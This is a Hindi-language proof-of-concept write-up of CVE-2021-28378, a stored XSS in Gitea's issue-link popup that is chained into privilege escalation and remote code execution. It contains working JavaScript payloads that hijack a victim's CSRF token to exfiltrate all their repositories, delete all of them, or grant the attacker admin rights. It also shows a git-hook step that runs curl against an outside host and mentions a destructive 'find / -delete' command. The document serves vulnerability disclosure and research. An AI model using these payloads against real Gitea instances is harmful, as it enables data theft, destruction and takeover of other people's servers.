pandatix/cve-2021-28378CVE-2021-28378 का विस्तृत प्रूफ-ऑफ-कॉन्सेप्ट और विश्लेषण, Gitea में एक संग्रहीत XSS भेद्यता जो git हुक के माध्यम से मनमाना कोड इंजेक्शन, विशेषाधिकार वृद्धि और दूरस्थ कोड निष्पादन को सक्षम बनाती है।
इस CVE के बारे में विवरण यहाँ देखें।
यह CVE सर्वर से प्राप्त सामग्री पर क्लाइंट-साइड पर स्ट्रिंग एस्केपिंग की कमी को लक्षित करता है। यह एक हमलावर को किसी issue या pull request पर टिप्पणी बनाकर आसानी से मनमाना कोड इंजेक्ट करने में सक्षम बनाता है। यह कमिट 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5 में पेश किया गया था, जनवरी 2020 के अंत तक, लेकिन squash के कारण हम ठीक से नहीं जान सकते कि इसे किसने किया ताकि समान बगों की जांच की जा सके।
सबसे पहले, आइए समझें कि यह कमजोरी कहाँ से आती है। इसके लिए, आइए वह कमिट देखें जो इस CVE को ठीक करता है।
पहले:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
हम देख सकते हैं कि label.name, issue.repository.full_name, और पर कोई html एस्केपिंग नहीं है, जो वे स्ट्रिंग्स हैं जिन्हें उपयोगकर्ता हेरफेर कर सकता है, और इसलिए, मनमाना कोड इंजेक्ट कर सकता है।
ध्यान दें कि को वास्तव में कोड इंजेक्ट करने के लिए हेरफेर नहीं किया जा सकता क्योंकि इसे बहुत सारे नियमों का पालन करना होता है () जिन्हें हम इस CVE से बायपास नहीं कर सकते।
PR ठीक यही ठीक करता है उन्हें में डालकर।
issue.titlebodyissue.repository.full_name[\w._-]+htmlEscapeबाद में:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
आइए फ़ाइल web_src/js/features/contextpopup.js पर एक त्वरित नज़र डालें, ताकि पता लगाया जा सके कि CVE को कैसे ट्रिगर किया जाए।
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
यहाँ हम देखते हैं कि ref-issue क्लास वाले प्रत्येक नोड के लिए, हम एक असुरक्षित पॉपअप जोड़ेंगे।
अब, हमें यह पता लगाने की आवश्यकता है कि ref-issue उपयोगकर्ता को कहाँ भेजा जाता है: आइए grep करें (और केवल दिलचस्प परिणाम रखें, यानी कोई परीक्षण फ़ाइलें या ऐसी ही नहीं)!
निम्नलिखित कमिट संख्या 1.12.4 टैग से मेल खाती है, जो आधिकारिक docker-compose.yml फ़ाइल का डिफ़ॉल्ट संस्करण है, जो इस CVE से प्रभावित है।
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
अब हम जानते हैं कि ref-issue क्लास के साथ कोई स्थिर सामग्री नहीं है, लेकिन यह गतिशील रूप से उत्पन्न होती है।
अंतिम वाला दिलचस्प नहीं है क्योंकि यह केवल एक sanitizer नीति नियम है। बाकी दिलचस्प हैं, हम देखेंगे क्यों।
आइए modules/markup/html.go में गोता लगाएँ।
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
हमें यह भी समझने की आवश्यकता होगी कि getIssueFullPattern क्या करता है।
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
आइए संक्षेप में समझें कि वहाँ क्या कार्य किया जाता है।
fullIssuePatternProcessor में, हमें पहले यह सुनिश्चित करना होगा कि ctx.metas शून्य नहीं है (हम मानते हैं कि यह सत्य है जबकि यह स्टैक ट्रेस में उच्च फ़ंक्शन/विधियों द्वारा बनाया गया है)।
फिर हम जाँचते हैं कि नोड डेटा http://mygitea.com/gituser/myrepo/issues/1 जैसे पथ से मेल खाता है या नहीं। यदि मिलान होता है, तो हम इसे एक लिंक से बदल देते हैं।
यदि लिंक उसी उपयोगकर्ता और रेपो के बारे में है, तो इसे #<issue_id> पैटर्न से बदलें, अन्यथा <user>/<repo>#<issue_id> से।
इन दोनों मामलों में, हमारे पास एक ref-issue क्लास है जो पॉपअप उत्पन्न करने के लिए जोड़ा जाता है।
अन्य grep-परिणाम भी कुछ ऐसा ही करते हैं।
अब हमारे पास संदर्भ है, जो http://mygitea.com/gituser/myrepo/issues/1 जैसे लिंक को एक छोटे लिंक से बदलने के बारे में है, हम अनुमान लगा सकते हैं कि ऐसा कार्य कहाँ किया जाता है: issues और PR में, जहाँ आप एक लेबल जोड़ सकते हैं और/या टिप्पणी पोस्ट कर सकते हैं।
इसके लिए, मान लें कि आपके पास लिखने की अनुमति वाला एक रिपॉजिटरी है।
अपने रिपॉजिटरी पर जाएँ, और मनमाना कोड (जैसे <script>alert('label.name')</script>) वाले नाम के साथ एक नया लेबल बनाएँ।
अपने रिपॉजिटरी issues पर जाएँ, और शीर्षक और बॉडी में मनमाना कोड के साथ एक नया issue बनाएँ, और इसे पिछला लेबल जोड़ें।
किसी भी रिपॉजिटरी पर एक नया issue बनाएँ, और उसकी बॉडी में अपने इंजेक्ट किए गए issue का लिंक जोड़ें जैसे http://mygitea.com/gituser/myrepo/issues/1।
यह उस लिंक से बदल दिया जाएगा जो हमने पहले देखा था, और जब कोई अपने माउस को लिंक पर ले जाएगा, तो मनमाना कोड चलेगा: label.name एम्बेड करते हुए एक पॉपअप प्रदर्शित होगा।
CVE-2021-28378 मनमाना कोड इंजेक्शन को सक्षम करने के लिए सिद्ध है। आइए कल्पना करें कि एक हमलावर क्या कर सकता है।
Gitea पर, आपके पास एक CSRF टोकन है जो फ़ॉर्म भरने और/या API को कॉल करते समय आपकी पहचान की पुष्टि करता है, जो Gitea iframe को एम्बेड करके आपकी पहुँच चुराने जैसी सुरक्षा समस्याओं को रोकता है।
CSRF टोकन आपके कुकीज़ (_csrf) में संग्रहीत होता है, लेकिन लगभग सभी वेबपेजों (कुछ को छोड़कर जैसे /api/v1/swagger) में भी होता है जो उपयोगकर्ता कुछ फ़ील्ड्स के तहत विज़िट करता है... और इसी तरह issues/PR वेबपेजों पर भी।
इसे समाहित करने वाला सबसे दिलचस्प फ़ील्ड HTML पेजों के सामान्य हेडर भाग के अंदर है, हमेशा एक ही XPath के साथ: /html/head/meta[9]।
इस डेटा के साथ, अब हम अपने पेलोड से प्रभावित किसी भी उपयोगकर्ता से प्रमाणित कार्य भेज सकते हैं, केवल CSRF टोकन को JS में प्राप्त करके, निम्नलिखित के साथ: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content।
अब, विभिन्न हमले बनाने के लिए अपनी रचनात्मकता का उपयोग करने का समय है। ध्यान दें कि आप अपने कार्यों में सीमित होंगे, लेकिन बहुत अधिक नहीं:
label.name और issue.title छोटे होने चाहिए, और इसलिए बहुत सारे पेलोड फिट नहीं होंगे। फिर भी, आप एक script को src विशेषता के साथ इंजेक्ट कर सकते हैं जो किसी भी स्क्रिप्ट का संदर्भ देगा;body लंबाई में सीमित नहीं है, लेकिन पॉपअप का पूर्वावलोकन डेटा पूर्वावलोकन को सीमित करता है। यदि आप चाहते हैं कि यह ट्रिगर हो, तो आपके पेलोड को शुरुआत में होना होगा। फिर भी, आप पहले की तरह script और src विशेषता के साथ कर सकते हैं।आइए कुछ उदाहरण देखें जो आप बना सकते हैं।
एक परिदृश्य की कल्पना करें जहाँ एक हमलावर उन सभी रिपॉजिटरी को प्राप्त करना चाहता है जिन तक आपकी पहुँच है। यह साबित करता है कि हमला आपकी सभी गोपनीयता को तोड़ सकता है। यह हमला 3 चरणों में पूरा होता है:
आइए ऐसा करने के लिए कुछ JS कोड लिखें:
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
}
}
xhrGet.send(null);
इस पेलोड को अपनी फ़ाइल में रखें, इसे अपने रेपो पर अपलोड करें और इसे एक issue की बॉडी में इंजेक्ट करें जैसे <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>।
अब हमलावर इस इंजेक्ट किए गए issue का संदर्भ देते हुए एक issue/PR पर टिप्पणी कर सकता है, और जब कोई अपने माउस को लिंक पर ले जाएगा, तो हमलावर उसके सभी रिपॉजिटरी डेटा चुरा लेगा!
एक परिदृश्य की कल्पना करें जहाँ एक हमलावर उन सभी रिपॉजिटरी को हटाना चाहता है जिन तक आपकी पहुँच है। यह साबित करता है कि हमला आपकी सभी अखंडता को तोड़ सकता है। यह हमला 3 चरणों में पूरा होता है:
आइए ऐसा करने के लिए कुछ JS कोड लिखें:
var AppURL = "http://mygitea.com";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
data = xhrGet.response.data;
data.forEach(repo => {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", repo.html_url + "/settings", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
});
}
}
xhrGet.send(null);
इस पेलोड को अपनी फ़ाइल में रखें, इसे अपने रेपो पर अपलोड करें और इसे एक issue की बॉडी में इंजेक्ट करें जैसे <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>।
अब हमलावर इस इंजेक्ट किए गए issue का संदर्भ देते हुए एक issue/PR पर टिप्पणी कर सकता है, और जब कोई अपने माउस को संदर्भ पर ले जाएगा, तो उसकी सभी सुलभ रिपॉजिटरी हटा दी जाएँगी!
एक परिदृश्य की कल्पना करें जहाँ एक हमलावर व्यवस्थापक अधिकार प्राप्त करना चाहता है। यह साबित करता है कि Privilege Escalation संभव है। यह हमला 2 चरणों में पूरा होता है:
आइए ऐसा करने के लिए कुछ JS कोड लिखें:
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");
ध्यान दें कि login_type का मान आपके Gitea संस्करण और आपके इंस्टेंस द्वारा लॉगिन को संभालने के तरीके के अनुसार बदल सकता है।
इस पेलोड को अपनी फ़ाइल में रखें, इसे अपने रेपो पर अपलोड करें और इसे एक issue की बॉडी में इंजेक्ट करें जैसे <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>।
अब हमलावर इस इंजेक्ट किए गए issue का संदर्भ देते हुए एक issue/PR पर टिप्पणी कर सकता है, और जब पर्याप्त अधिकार वाला कोई व्यक्ति अपने माउस को संदर्भ पर ले जाएगा, तो हमलावर को व्यवस्थापक अधिकार मिल जाएँगे! वह issue को किसी व्यवस्थापक को असाइन भी कर सकता है, या किसी ऐसे रेपो पर issue बना सकता है जिसे कोई व्यवस्थापक देख रहा है (ताकि उसे सूचना मिले) ताकि उसकी संभावनाएँ बढ़ सकें।
Gitea के साथ """मज़ेदार""" हिस्सा यह है कि सुरक्षा संबंधी विचार प्रक्रिया का हिस्सा नहीं थे, git हुक लागू करके। यह शायद सबसे बुरे विचारों में से एक है जिसे आप लागू कर सकते हैं।
एक बार जब आपके पास व्यवस्थापक अधिकार हो जाते हैं, तो आप git हुक प्रबंधित करने का विशेषाधिकार दे सकते हैं (जो पिछले पेलोड के साथ प्राप्त होता है)। Gitea Git Hooks Remote Code Execution Metasploit मॉड्यूल के अनुसार आगे बढ़ें:
post-receive git-hook में जोड़ें;यह सुनिश्चित करने के लिए कि यह RCE मान्य है, आइए निम्नलिखित डालें, एक मान्य id के साथ।
#!/bin/bash
curl https://requestbin.net/r/<id>
RequestBin निरीक्षण पैनल में, एक फ़ाइल सबमिट करने के बाद जो post-receive git हुक को ट्रिगर करती है, हम देखते हैं कि एक अनुरोध User-Agent: curl/<version> के साथ प्राप्त हुआ था जो साबित करता है कि यह एक मान्य RCE है।
ध्यान दें कि यह कार्यक्षमता दर्शाती है कि प्रत्येक XSS के लिए जो किसी व्यवस्थापक द्वारा ट्रिगर किया जा सकता है, जब तक कि _csrf मान लगभग सभी वेबपेजों में एम्बेडेड होगा, आप Gitea पर RCE प्राप्त कर सकते हैं।
CVE से प्रभावित संस्करणों के अनुसार अपने अपडेट करें (आधिकारिक रिपोर्ट देखें)। लिखने के समय: 1.12.0 से 1.13.4 (बहिष्कृत)।
यहाँ प्रभावित संस्करणों और उनकी परीक्षण स्थिति की सूची है। ध्यान दें कि 1.13.X संस्करणों के लिए, आपको app.ini फ़ाइल में [security] अनुभाग के अंतर्गत DISABLE_GIT_HOOKS = false जोड़ना होगा, जो data/gitea/conf/app.ini पर स्थित हो सकता है, यह इस बात पर निर्भर करता है कि आपका डेटा फ़ोल्डर कहाँ है (दस्तावेज़ित docker-compose.yml फ़ाइल के लिए DockerHub पर, यह उसी फ़ोल्डर में होगा)।
| संस्करण | XSS | RCE |
|---|---|---|
| 1.12.0 | ✅ | ✅ |
| 1.12.1 | ✅ | ✅ |
| 1.12.2 | ✅ | ✅ |
| 1.12.3 | ✅ | ✅ |
| 1.12.4 | ✅ | ✅ |
| 1.12.5 | ✅ | ✅ |
| 1.12.6 | ✅ | ✅ |
| 1.13.0 | ✅ | ✅ |
| 1.13.1 | ✅ | ✅ |
| 1.13.2 | ✅ | ✅ |
| 1.13.3 | ✅ | ✅ |
✅: काम करता साबित ; ❓: परीक्षण की आवश्यकता ; ❌: काम नहीं करता साबित
यह शीट पाठक को स्कोर गणना में मार्गदर्शन करने के लिए बनाई गई है: यह केवल स्कोरिंग के बारे में चर्चा करने के लिए है, और इसे आदेश के रूप में नहीं लिया जाना चाहिए।
| मीट्रिक | मान | स्पष्टीकरण |
|---|---|---|
| AV | नेटवर्क | HTTP का उपयोग करके इंटरैक्ट करता है। |
| AC | निम्न | केवल एक issue (डिफ़ॉल्ट रूप से Gitea पर इसे फ़ाइल करना वास्तव में आसान है क्योंकि यह सभी के लिए सक्षम है) या एक pull request की आवश्यकता है। |
| PR | निम्न | अधिकांश संदर्भों में issue बनाने के लिए एक खाते की आवश्यकता होती है (डिफ़ॉल्ट रूप से, आप नए खाते पंजीकृत कर सकते हैं)। सभी खाते केवल-पढ़ने योग्य रिपॉजिटरी पर issue बना सकते हैं, सिवाय उस स्थिति के जब रेपो को issues से बचने के लिए कॉन्फ़िगर किया गया हो (जो डिफ़ॉल्ट सेटिंग नहीं है और शायद ही कभी संशोधित किया जाता है)। |
| UI | आवश्यक | एक उपयोगकर्ता या व्यवस्थापक को पेलोड को ट्रिगर करने के लिए अपने माउस को संक्रमित लिंक पर ले जाना होगा। |
| S | बदला हुआ | RCE के साथ, आपके पास होस्ट मशीन और इसलिए सह-स्थित सेवाओं तक पहुँच है। |
| C | उच्च | एक बार जब आपको व्यवस्थापक अधिकार मिल जाते हैं, तो आप सब कुछ प्रबंधित कर सकते हैं भले ही इसे निजी कॉन्फ़िगर किया गया हो। आप डेटाबेस क्रेडेंशियल चुराने, RCE का उपयोग करके उससे कनेक्ट करने और डेटा निकालने में सक्षम हैं। RCE के साथ, आप सीधे फ़ाइल सिस्टम पढ़ सकते हैं, जहाँ Gitea द्वारा कोई प्रमाणीकरण/प्राधिकरण जाँच नहीं की जाती है। |
| I | उच्च | एक बार जब आपको व्यवस्थापक अधिकार मिल जाते हैं, तो आप अधिकार, दृश्यता बदल सकते हैं, रिपॉजिटरी कोड बदल सकते हैं, यहाँ तक कि रिपॉजिटरी को हटा भी सकते हैं। RCE के साथ, आप हर चीज़ में गोता लगाने के लिए स्वतंत्र हैं और इसलिए उपयोगकर्ताओं, फ़ाइलों आदि की अखंडता को प्रभावित कर सकते हैं। |
| A | उच्च | RCE को देखते हुए, आप find / -delete के साथ पूरे फ़ाइल सिस्टम को हटा सकते हैं, जिससे उपलब्धता का पूर्ण नुकसान होता है। |
| E | उच्च | पायथन स्क्रिप्ट exploit.py को देखते हुए, आप एक साधारण खाते से लेकर रूट रिवर्स शेल तक कमजोरी का आसानी से शोषण कर सकते हैं। |
| RL | आधिकारिक फिक्स | कमिट <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab> द्वारा ठीक किया गया, मास्टर और इसलिए Gitea 1.13.4 में मर्ज किया गया। |
| RC | पुष्टि | यह रिपोर्ट कई एक्सप्लॉइट की पुष्टि और दिखाती है, XSS मूल विश्लेषण से लेकर RCE उदाहरण और स्क्रिप्ट तक। |
वेक्टर स्ट्रिंग: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C
| मीट्रिक समूह नाम | स्कोर | विस्तार |
|---|---|---|
| आधार स्कोर | 9.0 | गंभीर |
| अस्थायी स्कोर | 8.6 | उच्च |